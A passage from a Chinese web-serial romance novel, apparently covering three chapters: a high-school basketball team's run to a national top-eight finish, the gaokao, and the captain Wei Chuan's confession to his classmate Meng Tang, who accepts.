“人多接地气。”梁菲菲苦中作乐地拿出手机,“孟棠,给我拍两张照片,咱们往台阶上走走,站得高一点。” “好。” 孟棠接过梁菲菲的手机,魏川率先上了阶梯给她俩找机位。 秦渊走过去笑话他:“靠谱啊,兄弟。” 魏川让他一边去,转而问孟棠:“要不要给你俩拍一张?” 孟棠点了点头:“可以啊。” 魏川拿过她的手机,说:“先给你俩拍吧。” 梁菲菲扯过孟棠,挽着她的手臂做了个剪刀手。 秦渊轻笑:“这什么拍照动作,你俩凑一块伸出一条手臂,头微微歪着都比这个好。” 梁菲菲抬手:“这样?” 秦渊气笑了:“换一只手。” 梁菲菲换了下,疑惑地看着秦渊:“这样?” 秦渊点了点头,让魏川赶紧拍。 结果魏川拍出来的全都是虚影,他尴尬地笑了声:“我觉得还不错啊,挺有氛围感的。” “你倒是会给自己找借口。”秦渊拿过他的手机,“我来拍吧。” 魏川不禁庆幸把秦渊叫了出来,这又能当司机,又能带当摄影师的。 不得不说,秦渊的拍照技术很不错,最起码梁菲菲看了很高兴,只要调个滤镜就可以了。 秦渊朝魏川扬了扬下巴:“你俩不拍一张吗?” 魏川下意识看向孟棠,结果孟棠也看向了他。 梁菲菲十分有眼色,将一旁的位置让了出来,给魏川做了个“请”的手势:“你俩是同桌,可以拍一张做个纪念。” 魏川用眼神询问孟棠:“可以吗?” 孟棠默默往旁边让了下。 魏川走过去,有些不自在。 秦渊看热闹不嫌事大,坏笑道:“倒是近一点啊,镜头框不住你俩。” 两人对视了眼,又故作镇定地瞥开。 总不能让人家女生主动,魏川往孟棠那边动了下,肩膀蹭到了她的肩膀。 心脏砰砰跳个不停,感觉都要跳出嗓子眼儿了。 以前怎么不知道他的心跳能频率这么快? 魏川下意识又看了眼孟棠,秦渊就在这个时候按下了快门。 “我去,绝了。”梁菲菲在一旁竖起大拇指,“好有氛围感,你拍照技术可以啊。” “那是。”秦渊起身将手机给了孟棠。 魏川一愣:“就拍一张啊?” “你懂什么。”秦渊小声嘀咕了句,将魏川按住,往后拉了一把,跟在两个看照片的女生后面。 魏川满脸不解:“为什么就拍一张?” “傻吧,物还以稀为贵呢,就一张照片,她还不翻来覆去地看。” 魏川:“……你什么时候变得这么能撩了?” “我是为了谁?” 魏川为难地蹙眉:“可我现在不适合谈恋爱。” 秦渊:“……谁让你现在就谈的,还有一年就毕业了,你直接告白就是了。再说了,孟棠这么好看,别告诉我你们班没有暗恋她的,小心被人捷足先登。” 魏川突然不说话了,还真有对孟棠有心思的。 其他男生他看不出来,那个周飞绝对算一个。 虽然孟棠不喜欢他,但时不时他总要出来膈应一下他。 魏川拍了拍秦渊的肩膀,追上前面的孟棠,说:“给我发一下呗。” 孟棠吓了一跳,回神之后将照片传给了他。 魏川打开相册,欣赏了几秒后,停了脚步,对身后的秦渊说:“你这张照片拍得确实不错。” “大少爷情深意切,还是你眼神好。”秦渊跟他谦虚,“你看看你那眼神,喜欢都快溢出屏幕了。” 都说旁观者清,魏川透过屏幕看照片,忽然就处在了一个微妙的第三者的视角,仔细一看,他的眼神确实不一样。 本小章还未完,请点击下一页继续阅读后面精彩内容!前头的梁菲菲也看得津津有味,她抵了抵孟棠,小声道:“你看这张照片什么感觉?” 孟棠清了清嗓子:“没什么感觉。” “不可能。”梁菲菲说,“你都盯着看了好久了。” 孟棠:“……我就是欣赏一下秦渊的拍照技术。” 梁菲菲突然笑了声:“你就嘴硬吧。” 孟棠抿唇也笑了下,不过什么也没承认。 魏川明年开始训练,晚饭也就不能和孟棠一起吃了。 他本来想将秦渊留下的,但孟棠和梁菲菲坚持拒绝了。 她们和秦渊不熟悉,没有魏川的话,挺尴尬的。 “那行,反正你有我电话,我也知道你住的酒店,如果有事的话,一定要给我打。” 临走之前,魏川又嘱咐了遍。 “知道了。” 告别了魏川,孟棠和梁菲菲回了酒店。 她俩订的酒店不便宜,安全还是能保证的。 她俩在z市待了五天,各地跑遍了就回了雁清。 期间她没有和魏川联系,只在快上车的时候给他发了条信息。 刚到家,魏川的电话就打了过来。 孟棠玩了几天有点累,魏川听出她的疲倦,体贴地聊了两句就挂断了电话。 他不过打个电话的工夫,周沉又在催了。 对于即将升入高三的学生来说,暑假并不长。 半月左右,陆陆续续都开始了补课。 魏川他们没有回来,专门请了补课的老师,和雁清同步进行课程。 等他们回来的时候,全都晒黑了一圈,而紧接着的就是比赛,紧张和急迫就扑面而来。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第397章 【if线 40】比赛 九月上旬,雁清市体协在官网公示了所有参赛队的名单,一般公示期是七天。 中旬,周沉领了材料,并进行了现场的抽签分组,确认了比赛的时间。 雁清参赛的队伍一共就七个学校。 雁清中学抽到A组,一共四个队伍,打单循环,每队要打三场。 最终在九月底和十月中上旬定下了具体的比赛时间。 第一场是28号,正好是周日。 AB两组前两名才会晋级,也就是说,魏川的队伍要赢两场,就能稳定晋级前二。 如果三场都赢了,就是小组第一。 可是魏川野心勃勃,他想赢下三场,也赢下之后的每一场。 如果市内赛都做不到佼佼者,更别提省赛了。 这些学校,周沉都比较熟悉,他们也都一一交过手,魏川还是很有信心的。 经过一年的拉练,宋冕等人打球时也不再畏畏缩缩。 周沉这人还是比较会调教人的,看着冷漠的一个人,结果骂起人来直戳肺管子。 宋冕他们受不了,只能抱着球死命地练。 十几岁的孩子,自尊心都很强,一而再再而三被骂,要么撂挑子,要么要证明。 第一场的比赛其实是至关重要的,就在市中心的体育馆里举行。 孟棠答应了魏川过来看,前一天晚上都没睡好。 她拉着梁菲菲来到了观众席,两人的位置在前排,当然是托了魏川的福。 台上坐了不少人,但没有坐满。 今天对打的学校,说实话,实力没有魏川他们强。 只要面对的不是z市那些精英,魏川自己就顶一个队伍,不过这个想法当然是不对的。 这一年的训练过程中,他训练的重心都以每个人的特长,以团队为主。 他们队的身高都差不多,其中有个替补是最矮的,但也有183了。 段思齐和陈瑞学习能力很强,跟着魏川一年下来,说不定能和邵一鸣他们1v1了。 尤其是段思齐,体力很强悍。 这可能也跟他平日里打了十八份工有关系。 当初他们全队掰手腕,包括周沉在内,竟然没有一个人掰得过他。 所以比赛一开始,段思齐,陈瑞和魏川就形成了第一道难以撼动的防线。 三个人的配合很默契,默契到不像是第一次正式比赛。 第一节结束,19比9,魏川他们队伍领先十分。 不过他们没有得意,下场的时候全都安静地喝水擦汗,听周沉说话。 魏川歇好,转头看了眼观众席位。 他一眼捕捉到了孟棠,朝她扯了个笑。 孟棠晃了晃手拍,示意他加油。 魏川挑了挑眉,赢下给你看。 梁菲菲向前倾过身体,在孟棠和魏川之间来回看了好几遍。 直至第二节开始,孟棠才调转了头:“你看我干什么?” “我靠,你俩当着这么多人的面调情啊?” “……你说话能不能正常一点?” 什么叫调情,不过是打了个招呼。 “口误口误。”梁菲菲不知悔改,“我真该脑门上顶着摄像头,你就不会嘴硬了。” “……看比赛。” “结果都没什么悬念。”梁菲菲说,“咱俩虽然是外行,但看得出来,实验中学完全不是我们的对手啊。” 孟棠这人比较谦虚,也比较低调,她说:“结果没出来之前,还是不能轻敌。” “我知道啊。”梁菲菲点了点头,“不过我对他们有信心,咱俩也算是看过他们不少比赛吧,和一年前相比,完全一个天一个地了,也不知道他们是打了什么鸡血,进步了好多好多。” 孟棠也觉得魏川他们进步了很多,尤其是默契这一块。 段思齐和陈瑞的能力本来就不错,经过魏川和周沉一年的训练,只会更强。 要不是有他俩的加入,魏川只怕都完不成他的心愿。 这支临时组建起来的潦草的战队,没有人对他们抱有期待。 只有他们自己的坚持不懈,孟棠当然希望比赛能有一个好结果。 不管最终会走到哪一步,最起码尽力过。 魏川额前的碎发被打湿,他动作很快,但眼神却很平静。 而宋冕和钱逊他们,防守时,脚步贴得极紧,不轻易起跳,也不轻易吃晃,每一次卡位都扎实得像钉在地上。 要是一年前有人说他们能沉稳成这样,他们自己都不相信。 球越打越稳,对方越来越崩。 第三小节,魏川让了替补人员上场,宋冕也下来了。 虽然这节被追了点比分,但差距依旧很大。 其实已经毫无悬念,魏川后半场没上,一直盯着场上,事后好复盘。 第四节比分拉大,对方已经追不上了,最后一个球进了篮框,魏川起身欢呼。 雁清中学的师生激动地抱作一团。 “赢了赢了!”梁菲菲拉着孟棠起身。 孟棠和魏川在半空对上视线,很多的话全都在这个眼神中划开。 魏川很开心,第一场比赛起到了稳定军心的作用。 本小章还未完,请点击下一页继续阅读后面精彩内容!小组赛和淘汰赛中间隔了几天,除了上课时间,魏川他们都在训练。 以至于他和孟棠其实说不上两句话,因为这个学期,他俩没有坐一起了。 魏川作息和班里其他人有点不太一样,来来去去地打扰别人,他一个人坐在了最后排。 而孟棠他们这个学期末也得参加各种各样的考试,也不一定都待在学校。 那些已经明了的心思,只能藏在心里,攒作一团。 淘汰赛在国庆节后,整个高三几乎没有假期,魏川更是直接住在了训练馆。 决赛最后是跟一中打的,一开始约练的时候,因为默契度不够,没有打过。 从此以后,他们总被一中的篮球队说成手下败将。 此后约他们,总找借口不约,各种看不起。 魏川看了眼自己的球员,头一歪:“一雪前耻的机会到了。” “干!”宋冕愤恨不已。 “加油加油……” 就在一中掉以轻心的时候,魏川已经带着队员拿下了开场三分。 第一节打完,对方才意识到不太对劲。 但自欺欺人地说是魏川他们的运气好,丝毫不找自己的原因,可想而知后面输得多惨。 当雁清中学以全市第一的成绩进入省赛时,校长都惊呆了。 他从来没有管过这个篮球队,只当大少爷闹着玩。 谁能想到拿了个第一,当电视台来采访时,校长又屁颠屁颠跑去邀功了。 魏川和周沉对视一眼,正好留给他应付,两人对于这样的场面都不适应。 因为在高三这个特殊阶段,魏川他们即便第一个赛程告一段落,也不能松懈下来。 除了复盘和训练之外,他们的文化课也同样重要。 以前宋冕对于学习还有点吊儿郎当,得知魏川和段思齐,以及陈瑞他们的学习成绩都很好后,也不甘于落后太多。 周沉忙着省赛报名,十月底通过了审核。 而距离省赛不过十五天的时间,而孟棠,已经踏上了艺考之路。 大概从11月开始到来年的三月,没有什么歇息的时候。 核心考试集中在12月到来年的1月。 孟棠虽然考着试,但也时刻关注着魏川的比赛情况,她不能去现场,可以通过手机看视频。 省赛依旧是分组循环加淘汰制,决胜出前四名进入分区赛。 省赛遇到的队伍就不是什么小虾米了,全省第四,孟棠心里没底。 要是遗憾止步,魏川肯定会伤心。 不仅仅是孟棠,魏川自己也做了个评估,他预测能进前十五,前四的难度比较大。 到达z市的第二天上午,雁清中学以75:60拿下一局。 第三天和淮州队打,因为对方喜欢冲内线,犯规也多,魏川他们又捡了漏。 第四天以六分惜败,两胜一负,B组第2名出线。 隔天休息一天进行调整,下午轻训,下午复盘,晚上布置战术。 全省半决赛是晚上进行,场馆内也是坐满了乌压压的人。 结果魏川和z中碰上了,这一精彩看点瞬间点燃了现场和屏幕前的观众。 谁不知道魏川曾经是z中的核心队员。 如今却成了对立面,是个人都有看戏的心态。 魏川和他们一一抱了下,邵一鸣开玩笑:“川哥,我可不会手下留情。” 魏川“嘁”了声:“各凭本事,输赢我都无话可说。” 高远笑了声:“我都不知道希望你赢还是输。” 魏川拍了拍他的肩膀:“记住你是z中的就行。” z中的教练看着魏川,说不上来表情,看着挺复杂的。 魏川朝对方挥了挥手,转头跟上自己的队员。 他们放假的时候也交过几次手,邵一鸣对于雁清队还是挺熟悉的。 赛场无朋友,每个人都做到了全力以赴。 这一场打得异常艰难,每个人都比较难熬,邵一鸣却有点惊讶。 按理说,z中打雁清,是轻轻松松的事,结果打得并不顺畅。 虽然最后赢了,但只领先了七分。 一路下来,雁清中学无疑是今年最大的黑马队伍。 半决赛淘汰不代表就得走了,魏川他们还要打季军赛,争夺第三第四名。 魏川根本没有时间悲春伤秋,和队友教练制定了大半天的战术,最终以微弱的优势夺了第四名。 横空出世,结果第一名也没人采访了,直奔他们而来。 魏川这次没有躲开,知道有些季节想要挖一些一年前的料,淡定体面地回答了他们所有的问题。 至于报道,他老爸会控制舆情。 拿下全省第四,依旧不是他们的目标。 周沉那年已经闯入了全国赛,只不过分区赛更难打,魏川的压力也随之加大。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第398章 【if线 41】全国赛 魏川忙到没有一点私人时间,只知道孟棠什么时候考试,什么时候在校。 两人的聊天记录断断续续,直至除夕那天下午,雁清红霞满天,孟棠在院子里剥瓜子,接到了魏川的电话。 看到来电显示的时候,孟棠还愣了下,莫名有“近乡情怯”的感觉。 孟棠清了清嗓子,拍了拍手上的瓜子灰尘。 接通后,她“喂”了声。 听筒里溢出一声轻笑,孟棠耳朵尖发烫,不知道他笑什么。 “好久不见啊。”魏川小小叹了声气,“我下午刚回到家。” 孟棠抬眸,看着天边的云霞,笑道:“那你辛苦了。” “我洗完澡就给你打电话了,够意思吧?” “够。”孟棠眯了眯眼,“你们分区赛什么时候开始啊?” 魏川说:“开学的时候,直接去比赛城市,因为春节的原因,比较延迟了。” 孟棠点了点头:“那你们什么时候训练?” “初二就开始了。”魏川说,“如果能进全国赛的话,孟棠,我有话想跟你说。” 孟棠心下一紧,愣了半晌,以玩笑的口吻说:“我还以为你要进全国赛的前三。” “我倒是不敢想。”魏川失笑,“我还没那么狂妄。” 这次能挺过分区赛,闯进全国赛都算他们赢了。 “加油。”孟棠的语气十分轻柔,“还有……新年快乐。” “新年快乐。”魏川皱了下鼻子,掩饰似的,“那什么……我还怪想你的。” “什么啊。”孟棠猝然攥紧指尖,不敢和他深聊,“我爷爷叫我了,先挂了啊。” 魏川捏着手机,确定孟棠挂了电话后,无奈地摇了摇头。 他也没说什么吧? 除了一句“新年快乐”,魏川之后再没时间和孟棠闲聊。 孟棠年后还有几场艺考,她的规划是三月之前考完,之后安心待在学校进行文化课复习。 她其实考的学校不多,但z大永远是她的第一选择。 分区赛依旧是分组制,每个参赛省份的前四名,z中是省第一,另外第二第三名的实力也同样强劲。 第一阶段的小组赛在二月初的某个平常的周末,雁清对阵另外一个省份的第四名。 “比赛之前,我说两句啊。”周沉看起来不算紧绷,“其实走到这一步,我觉得大家已经很厉害了,不过也别自得,之后的每一个对手,实力都很强。” “接下来的对手的风格是外线快攻,但他们技术其实和我们不相上下。” “就是上来会给你打懵逼,给个下马威,一切挑衅的言语都不要理会,因为你们也得速战速决,不走防守路线,直接对上。” “魏川和段思齐作为进球主力,风格都比较沉稳,球技也很扎实,只要内线卡位牢固,外线投射精准的话,我们未必没有赢的机会。” “现在呢,在你们面前的就是一个又一个的台阶,能不能登上去就看你们的本事了。” “最后再强调一点,无论什么时候,心态都不能崩掉。” 魏川揽了下队员:“加油。” 队友们互相打了气,然后开始上场。 好歹也和z大交过手,宋冕几个人早已没了一开始的紧绷。 接下来赢的每一场都是赚的。 面对B组实力相对较弱的另一个第四名,周沉并没有选择常规的战术。 对方快,他要更快。 而他手中的王牌就是魏川,放眼全国,如果1v1,魏川没有几个对手。 所以比赛一开始,就需要靠他和段思齐配合拉开差距。 他们是新队,和别人没有交过手,一旦崛起,势必打得对方军心大乱。 而他的战术也获得了魏川的支持和肯定,队长和教练都这么说了,其他人自然全力配合。 魏川作为队伍的核心,全程掌控着队伍的节奏,防守端多次抢断,进攻端要么自己快攻上篮,要么精准助攻段思齐,整场比赛节奏被他牢牢掌控,最终以72:61获胜,拿下小组赛首胜。 因为对方两场下来心态崩了,即便崩了,魏川他们也没有占据多少的优势,可见进步的空间还有很大。 接下来的比赛,周沉按照每个队伍的风格调整战术,过去的一年,这些强劲的对手的比赛视频快被他翻烂了。 小组赛第二轮,雁清对阵磷安——一支以内线强打见长、篮板优势明显的队伍。 周沉改用“区域联防+内线牵制”的打法。 他让内线陈瑞和钱逊故意示弱,引诱对方内线深入,同时安排魏川和段思齐,重点封锁对方的传球路线,一旦对方内线接球,立刻形成双人包夹,迫使对手失误。 进攻端,他又让魏川多组织串联,以内线球员为牵制,带动外线球员穿插跑位,利用对手内线压得过深的漏洞,主打外线投射,最终以5分优势再下一城,两连胜提前锁定小组出线名额。 比赛打到这里,他们已经引起了各个队伍的关注。 有些人可能表面上没什么,但私下里已经开始研究。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!也不乏有的教练认识周沉,这人不按套路出牌的名声一天之内传遍了华东区。 连赢两场,让宋冕他们激动到睡不着。 “我靠,我们不会真的闯入全国赛吧?” “前四直接晋级,如果进不了前四,我们还可以打附加赛,赢得晋级资格。”段思齐说。 “对自己有点信心。” “明天就难打了。”魏川说,“我们已经成了研究对象,资料人手一份了。” “那怎么办?” “打呗,还能怎么办?不过事先声明,全力以赴就好,赢了当然好,输掉的话……也要放平心态。” “行。” 魏川一语成谶,紧接着连输两场。 不过全局打下来,魏川他们依旧拿到了附加赛的入场券。 附加赛还是分组淘汰制,争夺4个全国总决赛的名额。 这一路下来太累太累了,这也是魏川第一次打附加赛。 好在结果是好的,最后一场比赛,魏川完全发挥了个人优势。 当一个人够快够强时,什么都拦不住。 对方发起阵地战,外线核心多次尝试出手,都被魏川死死限制,从而导致命中率大幅下降。 段思齐的优势也在这个时候体现出来,魏川压制的同时,他抓住所有的空位机会,拉开比分。 恐怖的是,对方意识到魏川的强劲,已经战术联合防他,愣是没防住。 最终,雁清中学拿到了全国赛的资格。 全国第八名,想都不敢想的成绩。 四个赛区的冠军和四支附加赛的突围队伍,z中是东南赛区的冠军,而雁清是附加队伍。 全国赛采用“分组循环+交叉淘汰”的赛制,打到现在,所有队伍都疲软了,只不过撑着最后一口气。 雁清中学一开场就败北,最终止步于全国八强。 所有人全都松了一口气,包括魏川自己。 “我艹,”宋冕哭了,“老子终于可以回雁清了。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第399章 【if线 42】完结 周沉带着学生们低调返校,结果在校门口被感动了一把。 校长带着主任和几个老师在大门口给他们拉了条横幅,庆祝他们凯旋而归。 魏川当即失笑:“哪门子的凯旋?” “诶,这话就不对了。”陈瑞笑道,“不是班级第八,也不是全校第八,是全国第八,可以了。” “确实可以了。”校长笑眯眯地上前,“你们都辛苦了。” “真是太阳打西边出来了。”魏川笑了声,“看来这次是实打实给他带来好处了,明年招生都不愁了吧?” 段思齐点了点头:“确实不用愁了。” 魏川捏了下包挂上的葫芦,说:“不聊了,我先回教室了。” “学学人家。”校长指了指魏川,“这还有一个月就高考了,看看人家这迫切的想要学习的心。” 球队一众人忍笑,宋冕直接笑开了,惹得校长摸不着头脑。 梁璐察觉到什么,转头跟上了魏川。 她先是关心了一下,接着又问他比赛期间的学习情况。 魏川说:“试卷不都发给您了吗?” 梁璐一噎,她想了想,说:“还有一个月就要高考了,不要把心思放在别的地方。” 魏川脚步一顿,转头看着梁璐:“您指的是什么?” 梁璐白了他一眼:“你觉得呢?” 魏川又摸了下葫芦挂件,这是孟棠送给他的生日礼物,圣诞节之后就一直被他带在身边,挂在包上。 他装傻又含糊地应了声,知道梁璐应该是发现点什么了。 不过他和孟棠什么越轨的举动都没有,还有一个月就高考结束了,她也管不着了。 魏川自然不会在这一个月里做什么,耽误考试。 回到教室的一瞬间,所有人被突来的动静弄得一怔,看着魏川仿佛看着陌生人。 魏川也愣住了:“不认识了?” “我靠,川哥牛逼啊。” 最后排的男生带头鼓掌,随即掌声雷霆,魏川真想扭头就走,被梁璐拦住了去路。 “回座位。”梁璐挥了挥手。 魏川眸光偏移,和右边走道一侧的孟棠对上了视线。 两人相视一笑,魏川掠过她,回了自己的位置。 时间原因,孟棠至今还没来得及观看他的决赛,但名次班里人都挺关心的,梁老师一直跟进,到哪儿了会跟他们说。 全国第八,已经很了不起了。 不过是一支年满一岁的新队伍,放眼全国,第一次比赛能拿到这个名次,很少很少。 而天赋极高的段思齐,在魏川的建议下打算一直打比赛。 不过他们没有约着考同一所大学,每个人的情况都不一样,都结合自身去选择。 晚自习后,魏川追上孟棠,跟在她身后一同回家,结果孟棠去了电动车的车篷。 “你骑车了?”魏川追过去问。 孟棠知道他一直跟着自己,没什么意外地看了他一眼,说:“现在的时间很宝贵,路上没空耽误。” 车辆太多,孟棠的车旁边的卡住,魏川向前,一把拎起电动车的后座,将她的车解救了出来。 将钥匙插入孔中,孟棠刚要戴上安全帽,被魏川拦截:“载我一程吧。” 孟棠将他从上到下打量了一番:“你太高了。” “所以我载你。”魏川拿过安全帽,接过她的车。 孟棠:“……” 她同意了吗?这人也太松弛了。 校内不能骑车,两人肩并肩往大门口走,魏川瞥了孟棠一眼,问“ “你艺考怎么样?” 孟棠点了点头:“自我感觉良好。” 这话有点玩笑的意思,魏川失笑:“一段时间不见,你还挺爱开玩笑。” 余光瞥到他包上的挂件,孟棠眸光一凝。 魏川笑着将包拉到胸前,语气很是得意:“挂在这里好看吧?” 孟棠笑道:“还不错。” “还是你手艺好。”魏川说,“我背出去比赛,别人还以为是什么奢侈品呢。” “是因为你的包吧。”孟棠瞥了眼他看似平平无奇,实则贵到离谱的包,“别人以为可能是你的配货。” “没有。”魏川否认,“工艺水平太高了,我以前的队友还想抢来着,他们都是见过好东西的,怎么不见他们要抢我的包。” 孟棠被成功说服,没有什么被肯定手艺更值得高兴的事了。 出了大门口,孟棠突然愣住了,她一把拉住魏川的手臂:“你会骑吗?” 魏川说:“会。” “你真的会?”孟棠表示怀疑,“你平时也没机会接触这种车吧?” “以前是没机会。”魏川说,“来雁清接触了不少,训练的时候,拿了段思齐的二手车练的。” 孟棠:“……你也不怕把他的二手车压坏了。” 段思齐的二手电动车她见过,骑上去能唱一路,外表没有一丁点现言的图案。 “你别说还挺结实。”魏川拍了下车座,“上来啊。” 孟棠在后座坐下,前头的魏川人高马大,完全将她的身形遮盖了。 这章没有结束,请点击下一页继续阅读!小型电动车艰难地出发了,孟棠不再担心段思齐的车了,她开始担心自己的车胎了,时不时就得低头看一眼。 小小电动车承载了太多它不该承受的。 电动车再慢,总归比步行快一点,到了分岔路口,魏川将车还给孟棠。 “那我先走了。”孟棠说。 “等一下。”魏川按住车把手,“我之前跟你说进了决赛有话跟你说,但现在的时间不太合适,我约你高考之后的时间行吗?” 街边的路灯不太敞亮,两人的轮廓线不太清晰,闻言,孟棠抬起头看着魏川,点了点头:“好。” 魏川压抑着心口的狂喜,努力克制着自己,眼眸亮晶晶的,他回看着孟棠,说: “那我可以跟你一起复习吗?你也知道我落下不少课。” “可以。” 魏川高兴了,咧着嘴笑:“行,我可赖上你了。” “什么赖上我了。”孟棠拍开他的手,“我要回家了,你回去也把今天的模拟卷做一下吧,做完手机上对一下答案。” “行。”魏川爽快答应。 回到家后,他率先洗了个澡,想着待会儿做完题直接上床睡觉。 拿出试卷后发现自己带回了三张试卷。 现在已经十一点了,他拿出手机,给孟棠发了条语音:“我先做数学卷子了。” 孟棠很快回复了“OK”的表情包。 数学卷子,两人做得很快。 他们对答案,不是从头对到尾,而是把自己不确定答案的题目跟对方讨论一下。 语音不太方便,魏川索性开了视频邀请。 没有丝毫的暧昧,只有对知识的渴望。 两人讨论到凌晨一点,见孟棠面有疲惫,魏川小声道:“要不睡觉去吧。” “还有一张英语试卷。”孟棠说,“你还要做吗?” 她自小在雁清长大,这里学英语的条件比不上z市。 最起码发音这一块,全班的人都没有魏川发音好听。 “做。”魏川说,“英语做起来很快。” 孟棠“嗯”了声,低下头赶试卷。 视频依旧开着,魏川做题的时候会自言自语读题目,听得孟棠跃跃欲睡,不过好听也是真的。 直到凌晨两点,她实在受不住了,挂了视频倒向床铺,手机都没来得及充电。 白天上课的时候,很多人都在打瞌睡。 班主任强调了很多遍晚上要早点休息,但是没用,该打瞌睡还是打。 住校生会强迫性熄灯,走读生回去可能会熬到一两点。 这种情况在文化班更多,只能请家长进行监督。 一个月的时间很快,孟棠和魏川整天除了试卷还是试卷,反倒是最后两三天才松懈下来。 进考场的那一天,天气热到吓人。 方姐很紧张,提前很多就给孟棠准备了消暑的东西,顺带给了魏川一份。 魏川的父母过来了,见此情景,道了声谢,虽然家里阿姨也给准备了。 两人并不在一个考场,因为魏川的父母在,考试之余,两人没有任何的联系。 直至考完,魏川才第一时间给孟棠打了电话。 还没说什么,被楚茵打断了,魏川只好匆匆和她约了个时间。 “妈,我打电话呢。”魏川有点小小的抱怨。 楚茵白了他一眼,给了他一张卡:“考完了出去放松放松。” “再说吧。”魏川接了卡,“我这边还有很多事情没有处理完。” “还有什么事啊?”楚茵皱眉,“四月底的考试你已经过了,相当于提前上岸了,你非得来高考。” “双保险呗。”魏川敷衍了句,“我在这里不是还有一些同学嘛,他们肯定要聚一聚,还有我那些队友。” 楚茵刚要说话,被魏立峰拦住了:“孩子大了,成年了,你别管了,下午跟我回z市吧。” “可是——” “好了好了,你儿子你不放心吗?” “他来雁清后,心都野了。” “野一点挺好的。” “你就惯着吧。” “到底是谁惯的。” 魏川笑了声,快速回房间洗了澡,换了身衣服。 临走之前看到柜子上的香水,鬼使神差喷了下,没敢喷多。 随后他骑上自己的车,一路狂奔孟家,觉得从前门进还得绕一圈,直接敲了后门。 孟遇春被打扰了思路,骂骂咧咧去开了门。 见到魏川,嗤笑了声:“咋就喜欢我家这后门呢?” “老头是你啊。”魏川有些心虚,“那个……孟棠呢?” “不在家。”孟遇春白了他一眼。 “不在家?”魏川提高音量,“去哪儿了?” “那我可就不知道了。”孟遇春哼笑,“腿在她身上,她想去哪儿就去哪儿。” 魏川不信,他俩刚才才约了时间。 他越过孟遇春想要进中院,孟遇春看到门外的车,嘿了声:“自行车还要不要了?” “不要了,送你吧。” “你让我一老头趴在上面骑啊?混蛋玩意吧。” 魏川一门心思找孟棠,耳朵自动过滤了孟遇春的话。 这章没有结束,请点击下一页继续阅读!到中院的时候确实没看到孟棠,倒是看到了挎着菜篮子进来的方姐。 “小魏来了啊。”方姐热情地打着招呼。 “方姐,你看见孟棠了吗?” “她不是在家吗?”方姐朝她房门口看了眼,“刚才抱着一堆衣服回来的,不在吗?” “我——” “方姐,看一下我这件衣服适不适合——” 魏川的话还没说完,被突然出来的孟棠打断了,而孟棠也被突然出现在眼前的魏川的吓了一跳。 她下意识捂住了胸口,因为这是一件吊带的碎花裙。 颜色晕染得很好看,浅淡清新,十分适合孟棠,她头发没有扎起来,披散在一边,和在学校的模样判若两人。 “我……”魏川张了张嘴,却不知道要说什么,半晌才又吐出一个字:“靠……” 孟棠立刻返回房间,换回了平日里的衣服,将头发绑了起来。 出来的时候,魏川依旧堵在门口。 两人的视线在半空对视片刻,又倏地分开了。 孟棠清了清嗓子,小声问:“你怎么这时候来了?” 提早了半个小时,魏川有点等不及。 “你穿的衣服好像要去海边。”魏川答非所问。 “是啊。”孟棠点了点头,“和菲菲他们说好去附近的梦洲岛玩几天。” “你怎么没跟我说?”魏川怔怔地看着她。 “你不要回去吗?” “回是要回的,但也不急一时半刻。”魏川找着借口,“梦洲岛在哪儿?我还没去过呢,正好我们队里也要聚一下。” “就在附近,几个小时的车程,别的地方人多,这里比较小众。” “你们什么时候走啊?”魏川又问。 “明天。”孟棠看着他,“你去吗?” “……去。” 他今晚决定试探一下孟棠的态度,结果她明天要跟梁菲菲去玩,她是不是没有get到他的意思啊? “孟棠。” “啊?” 魏川突然叫了声,孟棠下意识抬眸。 “你觉得我这个人怎么样?” “很好啊。” 她的表情很平静,也看不出什么东西,看着敷衍的三个字被她说得很真诚。 “你跟我来。”魏川抓住她的手腕,“我有话跟你说。” “外面很热。”孟棠反手将他拉进了屋里,“进来说吧。” 这个点出去,也没什么地方去。 方姐见他俩似乎有事,转头进了厨房忙碌。 天气热,每天都得花点心思做饭,家里这一老一小看着朴素,其实嘴巴都很挑剔。 孟棠夏天喜欢吃酸口清爽的菜,老爷子吃不了酸,也吃不了甜。 “你要说什么?”孟棠上来就问。 “你给我点缓冲时间。”魏川打开了窗户,露出窗口的海棠树和天边灿烂的晚霞。 “你这窗景真不错。”魏川突然冒出来这句话。 孟棠:“……你就想说这个?” “当然不是。”魏川迎上她的视线,又快速撇开了,“我……我也是第一次,有点紧张。” “第一次什么?”孟棠也被他搞得很紧张。 “你觉得我怎么样啊?”魏川突然又问了句,“你认真点说。” “嗯……很好,性格很好,也没什么富二代的架子,人也很有礼貌……” “没有外貌和身材方面的评价吗?”魏川抬手,照着自己比划了下。 “呃……”孟棠停顿了下,“很好啊。” “那你喜欢吗?”魏川没忍住向前一步,孟棠被逼得后退一步,撞到了书桌上。 “我喜欢?什么意——” “你喜欢!”魏川没有听完她的话,一把抓住了孟棠的肩膀,“我也喜欢你,我今天来就是想跟你说这个的。” “但我一直很紧张,紧张到现在,你有没有发现我手是抖的,甚至有点语无伦次。” “但我真的很喜欢很喜欢你,你身上的每一点我都很喜欢。” “这是我第一次喜欢一个女生,孟棠,我们回去同一所大学读书,我以前就说过,我想和你一起看z大的湖和树,花和草,我现在依旧想要这么说。” “你、你……”魏川有些结巴了,“你能考虑一下我吗?” 孟棠呆愣在原地,她万万没想到魏川是要告白啊? 她以为他想畅所欲言一下在雁清的这一年,而她心里也有些不舍,或许也有那么一点情愫。 但两人的家庭相差太远,她没有想过这些事情。 或许那晚在路灯下,她向他露出了不舍和脆弱的表情,以至于让他想得更多。 “你怎么不说话?”魏川有点慌了。 “可是……”孟棠仰头看着他,“我们不合适啊。” “哪里不合适?”魏川见她没有拒绝,松了口气,“你都没试过,怎么知道不合适呢?” 只是谈恋爱确实不需要家庭条件多么的合适,或许他是这个意思。 孟棠的心思百转千回,如果只是谈恋爱的话,那她是不是可以试一下? 即便到了大学里,她也找不到比魏川更优秀的人了,即便到最后,她也不亏吧。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!孟棠抿了下唇,纠结之余,心脏跳个不停。 “孟棠?”魏川眼巴巴地等着她的答案。 “好。”孟棠豁出去似的,“我答应你。” 这下轮到魏川怔住了:“你说什么?” “我说我答应做你女朋友。” 靠啊!魏川一把抱住她,箍着她的双臂将人抱了起来,离了地,接着还傻笑了两声。 